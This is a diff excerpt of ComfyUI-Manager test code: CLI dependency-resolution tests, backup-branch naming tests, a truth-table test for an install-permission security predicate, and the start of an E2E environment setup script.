r = _run_cm_cli("install", "--uv-compile", REPO_TEST1)
|
||||
combined = r.stdout + r.stderr
|
||||
|
||||
assert _pack_exists(PACK_TEST1)
|
||||
assert "Installation was successful" in combined
|
||||
assert "Resolved" in combined
|
||||
|
||||
def test_install_conflicting_packs_shows_attribution(self):
|
||||
"""Install two conflicting packs → conflict attribution output."""
|
||||
# Install first (no conflict yet)
|
||||
r1 = _run_cm_cli("install", "--uv-compile", REPO_TEST1)
|
||||
assert _pack_exists(PACK_TEST1), f"test1 not installed (rc={r1.returncode})"
|
||||
assert r1.returncode == 0, f"test1 install failed (rc={r1.returncode})"
|
||||
|
||||
# Install second → uv-compile detects conflict between
|
||||
# python-slugify==8.0.4 (test1) and text-unidecode==1.2 (test2)
|
||||
r2 = _run_cm_cli("install", "--uv-compile", REPO_TEST2)
|
||||
combined = r2.stdout + r2.stderr
|
||||
|
||||
assert _pack_exists(PACK_TEST2), f"test2 not cloned (rc={r2.returncode})"
|
||||
assert r2.returncode != 0, f"Expected non-zero exit (conflict). rc={r2.returncode}"
|
||||
assert "Resolution failed" in combined, (
|
||||
f"Missing 'Resolution failed'. stdout={r2.stdout[:500]!r}"
|
||||
)
|
||||
assert "Conflicting packages (by node pack):" in combined
|
||||
|
||||
|
||||
class TestReinstall:
|
||||
"""cm-cli reinstall --uv-compile"""
|
||||
|
||||
def test_reinstall_with_uv_compile(self):
|
||||
"""Reinstall an existing pack with --uv-compile — resolver MUST run."""
|
||||
_run_cm_cli("install", REPO_TEST1)
|
||||
assert _pack_exists(PACK_TEST1)
|
||||
|
||||
r = _run_cm_cli("reinstall", "--uv-compile", REPO_TEST1)
|
||||
combined = r.stdout + r.stderr
|
||||
|
||||
assert _pack_exists(PACK_TEST1)
|
||||
assert "Resolving dependencies" in combined, (
|
||||
f"Expected resolver to run on reinstall but output had: {combined[:500]!r}"
|
||||
)
|
||||
|
||||
|
||||
class TestUvCompileVerbs:
|
||||
"""cm-cli verbs that support --uv-compile.
|
||||
|
||||
WI-NN Cluster 5 (bloat-sweep dev:ci-004/005/006/007/011 B9 copy-paste):
|
||||
consolidates 5 previously-separate test functions that all assert the same
|
||||
"Resolving dependencies" emission after install+verb. Parametrized across
|
||||
the 5 supported verb/target combinations.
|
||||
"""
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"cm_args",
|
||||
[
|
||||
pytest.param(("update", "--uv-compile", REPO_TEST1), id="update-single"),
|
||||
pytest.param(("update", "--uv-compile", "all"), id="update-all"),
|
||||
pytest.param(("fix", "--uv-compile", REPO_TEST1), id="fix-single"),
|
||||
pytest.param(("fix", "--uv-compile", "all"), id="fix-all"),
|
||||
pytest.param(("restore-dependencies", "--uv-compile"), id="restore-dependencies"),
|
||||
],
|
||||
)
|
||||
def test_verb_with_uv_compile_runs_resolver(self, cm_args):
|
||||
"""Every --uv-compile-aware verb triggers dependency resolution."""
|
||||
_run_cm_cli("install", REPO_TEST1)
|
||||
assert _pack_exists(PACK_TEST1)
|
||||
|
||||
r = _run_cm_cli(*cm_args)
|
||||
combined = r.stdout + r.stderr
|
||||
|
||||
assert "Resolving dependencies" in combined
|
||||
|
||||
|
||||
class TestUvCompileStandalone:
|
||||
"""cm-cli uv-sync (standalone command, formerly uv-compile)"""
|
||||
|
||||
def test_uv_compile_no_test_packs_exits_zero(self):
|
||||
"""uv-sync without test packs must exit rc==0 (clean success).
|
||||
|
||||
WI-OO Item 2 (bloat dev:ci-008 B5): split from the previous OR-fallback
|
||||
test. This half pins the exit-code contract.
|
||||
"""
|
||||
r = _run_cm_cli("uv-sync")
|
||||
assert r.returncode == 0, (
|
||||
f"uv-sync should exit 0 when no test packs are installed; "
|
||||
f"got rc={r.returncode}. Output: {(r.stdout + r.stderr)[:500]!r}"
|
||||
)
|
||||
|
||||
def test_uv_compile_no_test_packs_emits_signal(self):
|
||||
"""uv-sync emits a definitive signal — never silent success.
|
||||
|
||||
WI-OO Item 2 (bloat dev:ci-008 B5): split from the previous OR-fallback
|
||||
test. This half pins the output-signal contract. The emitted marker
|
||||
depends on what's installed in the E2E sandbox at the moment — either
|
||||
'No custom node packs' (empty tree with no resolvable requirements) or
|
||||
'Resolved' (non-empty tree with successful resolution). Asserting the
|
||||
disjunction here is narrower than the original OR (which also accepted
|
||||
rc==0 with completely silent output); this test requires an actual
|
||||
human-readable marker in the output stream.
|
||||
"""
|
||||
r = _run_cm_cli("uv-sync")
|
||||
combined = r.stdout + r.stderr
|
||||
# Precondition: exit success is verified by the sibling test above.
|
||||
assert r.returncode == 0, f"Precondition failed: uv-sync rc={r.returncode}"
|
||||
empty_marker = "No custom node packs" in combined
|
||||
resolved_marker = "Resolved" in combined
|
||||
assert empty_marker or resolved_marker, (
|
||||
f"Expected 'No custom node packs' (empty tree) or 'Resolved' "
|
||||
f"(non-empty tree) marker; output was silent or unrecognized: "
|
||||
f"{combined[:500]!r}"
|
||||
)
|
||||
|
||||
def test_uv_compile_with_packs(self):
|
||||
"""uv-compile after installing test pack → resolves."""
|
||||
_run_cm_cli("install", REPO_TEST1)
|
||||
assert _pack_exists(PACK_TEST1)
|
||||
|
||||
r = _run_cm_cli("uv-sync")
|
||||
combined = r.stdout + r.stderr
|
||||
|
||||
assert "Resolving dependencies" in combined
|
||||
assert "Resolved" in combined
|
||||
|
||||
|
||||
class TestConflictAttributionDetail:
|
||||
"""Verify conflict attribution output details."""
|
||||
|
||||
def test_both_packs_and_specs_shown(self):
|
||||
"""Conflict output shows pack names AND version specs."""
|
||||
_run_cm_cli("install", REPO_TEST1)
|
||||
_run_cm_cli("install", REPO_TEST2)
|
||||
|
||||
r = _run_cm_cli("uv-sync")
|
||||
combined = r.stdout + r.stderr
|
||||
|
||||
# Processed attribution must show exact version specs (not raw uv error)
|
||||
assert r.returncode != 0
|
||||
assert "Conflicting packages (by node pack):" in combined
|
||||
assert "python-slugify==8.0.4" in combined
|
||||
assert "text-unidecode==1.2" in combined
|
||||
# Both pack names present in attribution block
|
||||
assert PACK_TEST1 in combined
|
||||
assert PACK_TEST2 in combined
|
||||
@@ -0,0 +1,173 @@
|
||||
"""Minimal tests for git_helper standalone execution and get_backup_branch_name.
|
||||
|
||||
git_helper.py runs as a subprocess on Windows and must NOT import comfyui_manager.
|
||||
Tests validate: (1) no forbidden imports via AST, (2) subprocess-level standalone
|
||||
execution, (3) get_backup_branch_name behavioural correctness.
|
||||
"""
|
||||
|
||||
import ast
|
||||
import pathlib
|
||||
import subprocess
|
||||
import sys
|
||||
import textwrap
|
||||
|
||||
import pytest
|
||||
|
||||
_GIT_HELPER_PATH = pathlib.Path(__file__).resolve().parents[2] / "comfyui_manager" / "common" / "git_helper.py"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# 1. No comfyui_manager imports (AST check — no execution)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def test_no_comfyui_manager_import():
|
||||
"""git_helper.py must be free of comfyui_manager imports (Windows subprocess safety)."""
|
||||
tree = ast.parse(_GIT_HELPER_PATH.read_text(encoding="utf-8"))
|
||||
for node in ast.walk(tree):
|
||||
if isinstance(node, ast.ImportFrom) and node.module and "comfyui_manager" in node.module:
|
||||
pytest.fail(f"Forbidden import at line {node.lineno}: from {node.module}")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# 2. Standalone subprocess execution (mirrors the actual Windows bug scenario)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def test_standalone_subprocess_can_load(tmp_path):
|
||||
"""git_helper.py must load in a subprocess without comfyui_manager on sys.path."""
|
||||
(tmp_path / "folder_paths.py").touch()
|
||||
|
||||
# Run git_helper.py in a clean subprocess with stripped sys.path.
|
||||
# git_helper.py has a module-level sys.argv dispatcher that calls sys.exit,
|
||||
# so we set argv to --check with a dummy path to avoid IndexError, then
|
||||
# catch the SystemExit to verify the function loaded successfully.
|
||||
script = textwrap.dedent(f"""\
|
||||
import sys, os
|
||||
sys.path = [p for p in sys.path
|
||||
if "comfyui_manager" not in p and "comfyui-manager" not in p]
|
||||
os.environ["COMFYUI_PATH"] = {str(tmp_path)!r}
|
||||
|
||||
import importlib.util
|
||||
spec = importlib.util.spec_from_file_location("git_helper", {str(_GIT_HELPER_PATH)!r})
|
||||
mod = importlib.util.module_from_spec(spec)
|
||||
|
||||
# Intercept sys.exit from module-level argv dispatcher
|
||||
real_exit = sys.exit
|
||||
exit_code = [None]
|
||||
def fake_exit(code=0):
|
||||
exit_code[0] = code
|
||||
raise SystemExit(code)
|
||||
sys.exit = fake_exit
|
||||
|
||||
try:
|
||||
spec.loader.exec_module(mod)
|
||||
except SystemExit:
|
||||
pass
|
||||
finally:
|
||||
sys.exit = real_exit
|
||||
|
||||
# The function must be defined regardless of argv dispatcher outcome
|
||||
assert hasattr(mod, "get_backup_branch_name"), "Function not defined"
|
||||
name = mod.get_backup_branch_name()
|
||||
assert name.startswith("backup_"), f"Bad name: {{name}}"
|
||||
print(f"OK: {{name}}")
|
||||
""")
|
||||
|
||||
result = subprocess.run(
|
||||
[sys.executable, "-c", script],
|
||||
capture_output=True, text=True, timeout=30,
|
||||
)
|
||||
assert result.returncode == 0, f"stderr: {result.stderr}"
|
||||
assert "OK: backup_" in result.stdout
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# 3. get_backup_branch_name behavioural tests (function extracted via AST)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def _get_backup_branch_name():
|
||||
"""Extract and compile get_backup_branch_name from git_helper.py source."""
|
||||
source = _GIT_HELPER_PATH.read_text(encoding="utf-8")
|
||||
tree = ast.parse(source)
|
||||
|
||||
for node in ast.walk(tree):
|
||||
if isinstance(node, ast.FunctionDef) and node.name == "get_backup_branch_name":
|
||||
func_source = ast.get_source_segment(source, node)
|
||||
assert func_source is not None
|
||||
ns = {}
|
||||
exec(compile(ast.parse(func_source), "<test>", "exec"), ns) # noqa: S102
|
||||
return ns["get_backup_branch_name"]
|
||||
|
||||
pytest.fail("get_backup_branch_name not found in git_helper.py")
|
||||
|
||||
|
||||
class _FakeHead:
|
||||
def __init__(self, name):
|
||||
self.name = name
|
||||
|
||||
|
||||
class _FakeRepo:
|
||||
def __init__(self, branch_names):
|
||||
self.heads = [_FakeHead(n) for n in branch_names]
|
||||
|
||||
|
||||
def test_basic_name_format(_get_backup_branch_name):
|
||||
import time
|
||||
name = _get_backup_branch_name()
|
||||
assert name.startswith("backup_")
|
||||
expected = f"backup_{time.strftime('%Y%m%d_%H%M%S')}"
|
||||
assert name == expected
|
||||
|
||||
|
||||
def test_no_collision(_get_backup_branch_name):
|
||||
repo = _FakeRepo(["main", "dev"])
|
||||
name = _get_backup_branch_name(repo)
|
||||
assert name.startswith("backup_")
|
||||
|
||||
|
||||
def test_single_collision(_get_backup_branch_name):
|
||||
import time
|
||||
ts = time.strftime("%Y%m%d_%H%M%S")
|
||||
repo = _FakeRepo(["main", f"backup_{ts}"])
|
||||
name = _get_backup_branch_name(repo)
|
||||
assert name == f"backup_{ts}_1"
|
||||
|
||||
|
||||
def test_multi_collision(_get_backup_branch_name):
|
||||
import time
|
||||
ts = time.strftime("%Y%m%d_%H%M%S")
|
||||
repo = _FakeRepo([f"backup_{ts}", f"backup_{ts}_1", f"backup_{ts}_2"])
|
||||
name = _get_backup_branch_name(repo)
|
||||
assert name == f"backup_{ts}_3"
|
||||
|
||||
|
||||
def test_repo_none_returns_base(_get_backup_branch_name):
|
||||
name = _get_backup_branch_name(None)
|
||||
assert name.startswith("backup_")
|
||||
|
||||
|
||||
def test_repo_heads_exception_returns_base(_get_backup_branch_name):
|
||||
"""When repo.heads raises, fall back to base name without suffix."""
|
||||
|
||||
class _BrokenRepo:
|
||||
@property
|
||||
def heads(self):
|
||||
raise RuntimeError("simulated git error")
|
||||
|
||||
name = _get_backup_branch_name(_BrokenRepo())
|
||||
assert name.startswith("backup_")
|
||||
assert "_1" not in name # no suffix — exception path returns base
|
||||
|
||||
|
||||
def test_uuid_fallback_on_full_collision(_get_backup_branch_name):
|
||||
"""When all 99 suffixes are taken, fall back to UUID."""
|
||||
import time
|
||||
ts = time.strftime("%Y%m%d_%H%M%S")
|
||||
# All names from backup_TS through backup_TS_99 are taken
|
||||
taken = [f"backup_{ts}"] + [f"backup_{ts}_{i}" for i in range(1, 100)]
|
||||
repo = _FakeRepo(taken)
|
||||
name = _get_backup_branch_name(repo)
|
||||
assert name.startswith(f"backup_{ts}_")
|
||||
# UUID suffix is 6 hex chars
|
||||
suffix = name[len(f"backup_{ts}_"):]
|
||||
assert len(suffix) == 6, f"Expected 6-char UUID suffix, got: {suffix}"
|
||||
@@ -0,0 +1,267 @@
|
||||
"""[goal265 step4 — RED] Predicate truth table for ``is_dedicated_install_allowed``.
|
||||
|
||||
TARGET CONTRACT (NOT YET IMPLEMENTED — goal265-spec.md §1.2, LOCKED):
|
||||
|
||||
comfyui_manager/common/manager_security.py::is_dedicated_install_allowed(
|
||||
flag_value: bool, listen_address: str, network_mode: str) -> bool
|
||||
|
||||
P-direct: allowed iff bool(flag_value)
|
||||
AND (is_loopback(listen_address)
|
||||
OR network_mode.lower() == 'personal_cloud')
|
||||
|
||||
These tests are EXPECTED TO FAIL/ERROR against current code (the predicate
|
||||
does not exist yet) — RED confirmation is goal265 Step 5. Do NOT weaken them
|
||||
to pass against today's code.
|
||||
|
||||
SC rows covered (goal265-scenarios.md — predicate-level arm):
|
||||
SC-01, SC-02, SC-03, SC-05, SC-06, SC-07 ([D1] allow_git_url_install)
|
||||
SC-11, SC-12, SC-13, SC-14, SC-15 ([D2] allow_pip_install)
|
||||
SC-16, SC-17 (flag independence, [D1][D2])
|
||||
|
||||
security_level is ABSENT from the predicate signature — its irrelevance is
|
||||
proven BY CONSTRUCTION (spec §4 row 1): rows whose preconditions differ only
|
||||
in security_level (SC-01 vs SC-02; SC-06/SC-14 parametrizations) map onto the
|
||||
IDENTICAL predicate call, so no security_level value can change the outcome.
|
||||
|
||||
Fixtures: none — pure function (spec §4 binding patching constraint).
|
||||
The module under test is loaded directly by file path so the test does not
|
||||
import the ``comfyui_manager`` package (whose __init__ needs the ComfyUI
|
||||
runtime); ``manager_security.py`` itself is dependency-light by design
|
||||
(spec §1.2: MUST stay config-import-free).
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import importlib.util
|
||||
import inspect
|
||||
import pathlib
|
||||
|
||||
import pytest
|
||||
|
||||
_MANAGER_SECURITY_PATH = (
|
||||
pathlib.Path(__file__).resolve().parents[2]
|
||||
/ "comfyui_manager" / "common" / "manager_security.py"
|
||||
)
|
||||
|
||||
# Address / network-mode vocabulary (scenarios §0 preamble):
|
||||
LOOPBACK = "127.0.0.1"
|
||||
LOOPBACK_V6 = "::1"
|
||||
PUBLIC_ADDR = "203.0.113.5" # TEST-NET-3 — non-loopback ("listen=public")
|
||||
NM_PUBLIC = "public"
|
||||
NM_PERSONAL_CLOUD = "personal_cloud"
|
||||
|
||||
# security_level context values for irrelevance-by-construction params.
|
||||
# The predicate takes NO security_level argument; these ids document which
|
||||
# scenario-row context each identical call stands for.
|
||||
SECURITY_LEVELS = ("strong", "normal", "normal-", "weak")
|
||||
|
||||
|
||||
def _load_manager_security():
|
||||
spec = importlib.util.spec_from_file_location(
|
||||
"_manager_security_under_test", _MANAGER_SECURITY_PATH
|
||||
)
|
||||
assert spec is not None and spec.loader is not None, _MANAGER_SECURITY_PATH
|
||||
mod = importlib.util.module_from_spec(spec)
|
||||
spec.loader.exec_module(mod)
|
||||
return mod
|
||||
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def predicate():
|
||||
"""The predicate under test. FAILS (RED) while the function is absent."""
|
||||
mod = _load_manager_security()
|
||||
assert hasattr(mod, "is_dedicated_install_allowed"), (
|
||||
"RED: comfyui_manager/common/manager_security.py does not define "
|
||||
"is_dedicated_install_allowed yet (goal265-spec.md §1.2). "
|
||||
"This is the expected state before Step 6 (Develop)."
|
||||
)
|
||||
return mod.is_dedicated_install_allowed
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Structural: security_level is not even an input (irrelevance by construction)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def test_signature_has_no_security_level_parameter(predicate):
|
||||
"""[SC-01..SC-17 foundation] Spec §1.2 locks the signature to exactly
|
||||
(flag_value, listen_address, network_mode) — security_level CANNOT
|
||||
influence the decision because it is not an input."""
|
||||
params = list(inspect.signature(predicate).parameters)
|
||||
assert params == ["flag_value", "listen_address", "network_mode"], (
|
||||
f"Locked signature drifted: {params!r} "
|
||||
"(goal265-spec.md §1.2 — security_level must NOT appear)"
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# [D1] allow_git_url_install — happy paths
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def test_sc01_flag_true_loopback_allows_under_strong_security_level(predicate):
|
||||
"""SC-01: git=true, sl=strong, listen=loopback, nm=public -> allowed.
|
||||
sl=strong is context only — the call has no security_level input."""
|
||||
assert predicate(True, LOOPBACK, NM_PUBLIC) is True
|
||||
|
||||
|
||||
def test_sc02_flag_true_loopback_allows_under_default_security_level(predicate):
|
||||
"""SC-02: git=true, sl=normal (default), listen=loopback, nm=public ->
|
||||
allowed. Identical call to SC-01: proves sl irrelevance by construction."""
|
||||
assert predicate(True, LOOPBACK, NM_PUBLIC) is True
|
||||
|
||||
|
||||
def test_sc03_flag_true_public_listener_personal_cloud_allows(predicate):
|
||||
"""SC-03: git=true, sl=normal, listen=public, nm=personal_cloud ->
|
||||
allowed (personal_cloud arm of the network-position invariant)."""
|
||||
assert predicate(True, PUBLIC_ADDR, NM_PERSONAL_CLOUD) is True
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# [D1] allow_git_url_install — failure paths
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def test_sc05_flag_false_denies_even_at_weak_security_level(predicate):
|
||||
"""SC-05: git=false, sl=weak, listen=loopback -> denied. Deny-direction
|
||||
proof of security_level irrelevance (today sl=weak would ALLOW)."""
|
||||
assert predicate(False, LOOPBACK, NM_PUBLIC) is False
|
||||
|
||||
|
||||
@pytest.mark.parametrize("security_level_context", SECURITY_LEVELS[:3],
|
||||
ids=[f"sl={s}" for s in SECURITY_LEVELS[:3]])
|
||||
def test_sc06_flag_false_denies_for_every_security_level(
|
||||
predicate, security_level_context):
|
||||
"""SC-06: git=false, sl in {strong, normal, normal-}, listen=loopback ->
|
||||
denied for EVERY sl value. The parametrize axis documents that all three
|
||||
scenario contexts collapse onto the same flag-only call — the flag is
|
||||
the sole decider."""
|
||||
assert predicate(False, LOOPBACK, NM_PUBLIC) is False
|
||||
|
||||
|
||||
def test_sc07_flag_true_cannot_open_public_listener(predicate):
|
||||
"""SC-07: git=true, sl=weak, listen=public, nm=public -> denied.
|
||||
Network-position invariant retained (spec §1.1 invariant 2): the flag
|
||||
must never widen exposure beyond what is possible today."""
|
||||
assert predicate(True, PUBLIC_ADDR, NM_PUBLIC) is False
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# [D2] allow_pip_install — happy paths
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def test_sc11_pip_flag_true_loopback_allows_under_strong(predicate):
|
||||
"""SC-11: pip=true, sl=strong, listen=loopback, nm=public -> allowed."""
|
||||
assert predicate(True, LOOPBACK, NM_PUBLIC) is True
|
||||
|
||||
|
||||
def test_sc12_pip_flag_true_public_listener_personal_cloud_allows(predicate):
|
||||
"""SC-12: pip=true, sl=normal, listen=public, nm=personal_cloud ->
|
||||
allowed."""
|
||||
assert predicate(True, PUBLIC_ADDR, NM_PERSONAL_CLOUD) is True
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# [D2] allow_pip_install — failure paths
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def test_sc13_pip_flag_false_denies_even_at_weak(predicate):
|
||||
"""SC-13: pip=false, sl=weak, listen=loopback -> denied."""
|
||||
assert predicate(False, LOOPBACK, NM_PUBLIC) is False
|
||||
|
||||
|
||||
@pytest.mark.parametrize("security_level_context", SECURITY_LEVELS[:3],
|
||||
ids=[f"sl={s}" for s in SECURITY_LEVELS[:3]])
|
||||
def test_sc14_pip_flag_false_denies_for_every_security_level(
|
||||
predicate, security_level_context):
|
||||
"""SC-14: pip=false, sl in {strong, normal, normal-}, listen=loopback ->
|
||||
denied each. Same irrelevance-by-construction pattern as SC-06."""
|
||||
assert predicate(False, LOOPBACK, NM_PUBLIC) is False
|
||||
|
||||
|
||||
def test_sc15_pip_flag_true_cannot_open_public_listener(predicate):
|
||||
"""SC-15: pip=true, sl=weak, listen=public, nm=public -> denied
|
||||
(network invariant)."""
|
||||
assert predicate(True, PUBLIC_ADDR, NM_PUBLIC) is False
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Flag independence (cross-link [D1]+[D2])
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def test_sc16_git_false_pip_true_independent_outcomes(predicate):
|
||||
"""SC-16: git=false, pip=true, sl=normal, listen=loopback -> git denied,
|
||||
pip allowed. At predicate level each surface passes ONLY its own flag —
|
||||
same network inputs, opposite outcomes."""
|
||||
git_allowed = predicate(False, LOOPBACK, NM_PUBLIC)
|
||||
pip_allowed = predicate(True, LOOPBACK, NM_PUBLIC)
|
||||
assert git_allowed is False
|
||||
assert pip_allowed is True
|
||||
|
||||
|
||||
def test_sc17_git_true_pip_false_independent_outcomes(predicate):
|
||||
"""SC-17: git=true, pip=false, sl=normal, listen=loopback -> git allowed,
|
||||
pip denied (mirror of SC-16)."""
|
||||
git_allowed = predicate(True, LOOPBACK, NM_PUBLIC)
|
||||
pip_allowed = predicate(False, LOOPBACK, NM_PUBLIC)
|
||||
assert git_allowed is True
|
||||
assert pip_allowed is False
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Supplementary: exhaustive flag x loopback x personal_cloud truth table
|
||||
# (spec §4 row 1 — "flag x loopback x personal_cloud" full table)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("flag", "listen", "network_mode", "expected"),
|
||||
[
|
||||
(True, LOOPBACK, NM_PUBLIC, True), # SC-01/02/11
|
||||
(True, LOOPBACK, NM_PERSONAL_CLOUD, True), # both arms true
|
||||
(True, PUBLIC_ADDR, NM_PERSONAL_CLOUD, True), # SC-03/12
|
||||
(True, PUBLIC_ADDR, NM_PUBLIC, False), # SC-07/15
|
||||
(False, LOOPBACK, NM_PUBLIC, False), # SC-05/06/13/14
|
||||
(False, LOOPBACK, NM_PERSONAL_CLOUD, False),
|
||||
(False, PUBLIC_ADDR, NM_PERSONAL_CLOUD, False),
|
||||
(False, PUBLIC_ADDR, NM_PUBLIC, False),
|
||||
],
|
||||
ids=[
|
||||
"flag+loopback+nm_public",
|
||||
"flag+loopback+personal_cloud",
|
||||
"flag+public+personal_cloud",
|
||||
"flag+public+nm_public",
|
||||
"noflag+loopback+nm_public",
|
||||
"noflag+loopback+personal_cloud",
|
||||
"noflag+public+personal_cloud",
|
||||
"noflag+public+nm_public",
|
||||
],
|
||||
)
|
||||
def test_truth_table_flag_x_loopback_x_personal_cloud(
|
||||
predicate, flag, listen, network_mode, expected):
|
||||
"""Full 2x2x2 truth table for P-direct (spec §1.1): allowed iff flag AND
|
||||
(loopback OR personal_cloud). Consolidates SC-01/02/03/05/06/07 ([D1])
|
||||
and SC-11/12/13/14/15 ([D2]) plus the two combinations no single row
|
||||
pins (flag+loopback+personal_cloud, noflag+public+personal_cloud)."""
|
||||
assert predicate(flag, listen, network_mode) is expected
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Supplementary edge handling locked by the spec text
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def test_ipv6_loopback_counts_as_loopback(predicate):
|
||||
"""SC-01/SC-02 edge (loopback arm): `is_loopback` is ipaddress-based
|
||||
(manager_security.py) — ::1 must be treated as loopback too."""
|
||||
assert predicate(True, LOOPBACK_V6, NM_PUBLIC) is True
|
||||
|
||||
|
||||
@pytest.mark.parametrize("network_mode", ["Personal_Cloud", "PERSONAL_CLOUD"],
|
||||
ids=["mixed-case", "upper-case"])
|
||||
def test_network_mode_personal_cloud_is_case_insensitive(predicate, network_mode):
|
||||
"""SC-03/SC-12 edge (personal_cloud arm): spec §1.2 predicate body —
|
||||
network_mode.lower() == 'personal_cloud' (case-insensitive)."""
|
||||
assert predicate(True, PUBLIC_ADDR, network_mode) is True
|
||||
|
||||
|
||||
def test_unparseable_listen_address_is_not_loopback(predicate):
|
||||
"""SC-07/SC-15 edge (network invariant): is_loopback returns False for
|
||||
unparseable addresses (ValueError arm) — the predicate must fail CLOSED
|
||||
on a malformed listen address."""
|
||||
assert predicate(True, "not-an-ip-address", NM_PUBLIC) is False
|
||||
@@ -0,0 +1,211 @@
|
||||
"""Cross-platform E2E environment setup for ComfyUI + Manager.
|
||||
|
||||
Creates an isolated ComfyUI installation with ComfyUI-Manager for E2E testing.
|
||||
Idempotent: skips setup if marker file and key artifacts already exist.
|
||||
|
||||
Input env vars:
|
||||
E2E_ROOT — target directory (required)
|
||||
MANAGER_ROOT — manager repo root (default: auto-detected)
|
||||
COMFYUI_BRANCH — ComfyUI branch to clone (default: master)
|
||||
|
||||
Output (last line of stdout):
|
||||
E2E_ROOT=/path/to/environment
|
||||
|
||||
Usage:
|
||||
python tests/e2e/scripts/setup_e2e_env.py
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
COMFYUI_REPO = "https://github.com/comfyanonymous/ComfyUI.git"
|
||||
PYTORCH_CPU_INDEX = "https://download.pytorch.org/whl/cpu"
|
||||
CONFIG_INI_CONTENT = """\
|
||||
[default]
|
||||
use_uv = true
|
||||
use_unified_resolver = true
|
||||
file_logging = false
|
||||
"""
|
||||
|
||||
|
||||
def log(msg: str) -> None:
|
||||
print(f"[setup_e2e] {msg}", flush=True)
|
||||
|
||||
|
||||
def die(msg: str) -> None:
|
||||
print(f"[setup_e2e] ERROR: {msg}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
|
||||
log(f" $ {' '.join(cmd)}")
|
||||
return subprocess.run(cmd, check=True, **kwargs)
|
||||
|
||||
|
||||
def detect_manager_root() -> Path:
|
||||
"""Walk up from this script to find pyproject.toml."""
|
||||
d = Path(__file__).resolve().parent
|
||||
while d != d.parent:
|
||||
if (d / "pyproject.toml").exists():
|
||||
return d
|
||||
d = d.parent
|
||||
die("Cannot detect MANAGER_ROOT (no pyproject.toml found)")
|
||||
raise SystemExit(1) # unreachable, for type checker
|
||||
|
||||
|
||||
def venv_python(root: Path) -> str:
|
||||
if sys.platform == "win32":
|
||||
return str(root / "venv" / "Scripts" / "python.exe")
|
||||
return str(root / "venv" / "bin" / "python")
|
||||
|
||||
|
||||
def venv_bin(root: Path, name: str) -> str:
|
||||
if sys.platform == "win32":
|
||||
return str(root / "venv" / "Scripts" / f"{name}.exe")
|
||||
return str(root / "venv" / "bin" / name)
|
||||
|
||||
|
||||
def is_already_setup(root: Path, manager_root: Path) -> bool:
|
||||
marker = root / ".e2e_setup_complete"
|
||||
comfyui = root / "comfyui"
|
||||
venv = root / "venv"
|
||||
config = root / "comfyui" / "user" / "__manager" / "config.ini"
|
||||
manager_link = root / "comfyui" / "custom_nodes" / "ComfyUI-Manager"
|
||||
return (
|
||||
marker.exists()
|
||||
and comfyui.is_dir()
|
||||
and venv.is_dir()
|
||||
and config.exists()
|
||||
and (manager_link.exists() or manager_link.is_symlink())
|
||||
)
|
||||
|
||||
|
||||
def link_manager(custom_nodes: Path, manager_root: Path) -> None:
|
||||
"""Create symlink or junction to manager source."""
|
||||
link = custom_nodes / "ComfyUI-Manager"
|
||||
if link.exists() or link.is_symlink():
|
||||
if link.is_symlink():
|
||||
link.unlink()
|
||||
elif link.is_dir():
|
||||
import shutil
|
||||
shutil.rmtree(link)
|
||||
|
||||
if sys.platform == "win32":
|
||||
# Windows: use directory junction (no admin privileges needed)
|
||||
subprocess.run(
|
||||
["cmd", "/c", "mklink", "/J", str(link), str(manager_root)],
|
||||
check=True,
|
||||
)
|
||||
else:
|
||||
link.symlink_to(manager_root)
|
||||
|
||||
|
||||
def main() -> None:
|
||||
manager_root = Path(os.environ.get("MANAGER_ROOT", "")) or detect_manager_root()
|
||||
manager_root = manager_root.resolve()
|
||||
log(f"MANAGER_ROOT={manager_root}")
|
||||
|
||||
e2e_root_str = os.environ.get("E2E_ROOT", "")
|
||||
if not e2e_root_str:
|
||||
die("E2E_ROOT environment variable is required")
|
||||
root = Path(e2e_root_str).resolve()
|
||||
root.mkdir(parents=True, exist_ok=True)
|
||||
log(f"E2E_ROOT={root}")
|
||||
|
||||
branch = os.environ.get("COMFYUI_BRANCH", "master")
|
||||
|
||||
# Idempotency
|
||||
if is_already_setup(root, manager_root):
|
||||
log("Environment already set up (marker file exists). Skipping.")
|
||||
print(f"E2E_ROOT={root}")
|
||||
return
|
||||
|
||||
# Step 1: Clone ComfyUI
|
||||
comfyui_dir = root / "comfyui"
|
||||
if (comfyui_dir / ".git").is_dir():
|
||||
log("Step 1/7: ComfyUI already cloned, skipping")
|
||||
else:
|
||||
log(f"Step 1/7: Cloning ComfyUI (branch={branch})...")
|
||||
run(["git", "clone", "--depth=1", "--branch", branch, COMFYUI_REPO, str(comfyui_dir)])
|
||||
|
||||
# Step 2: Create venv
|
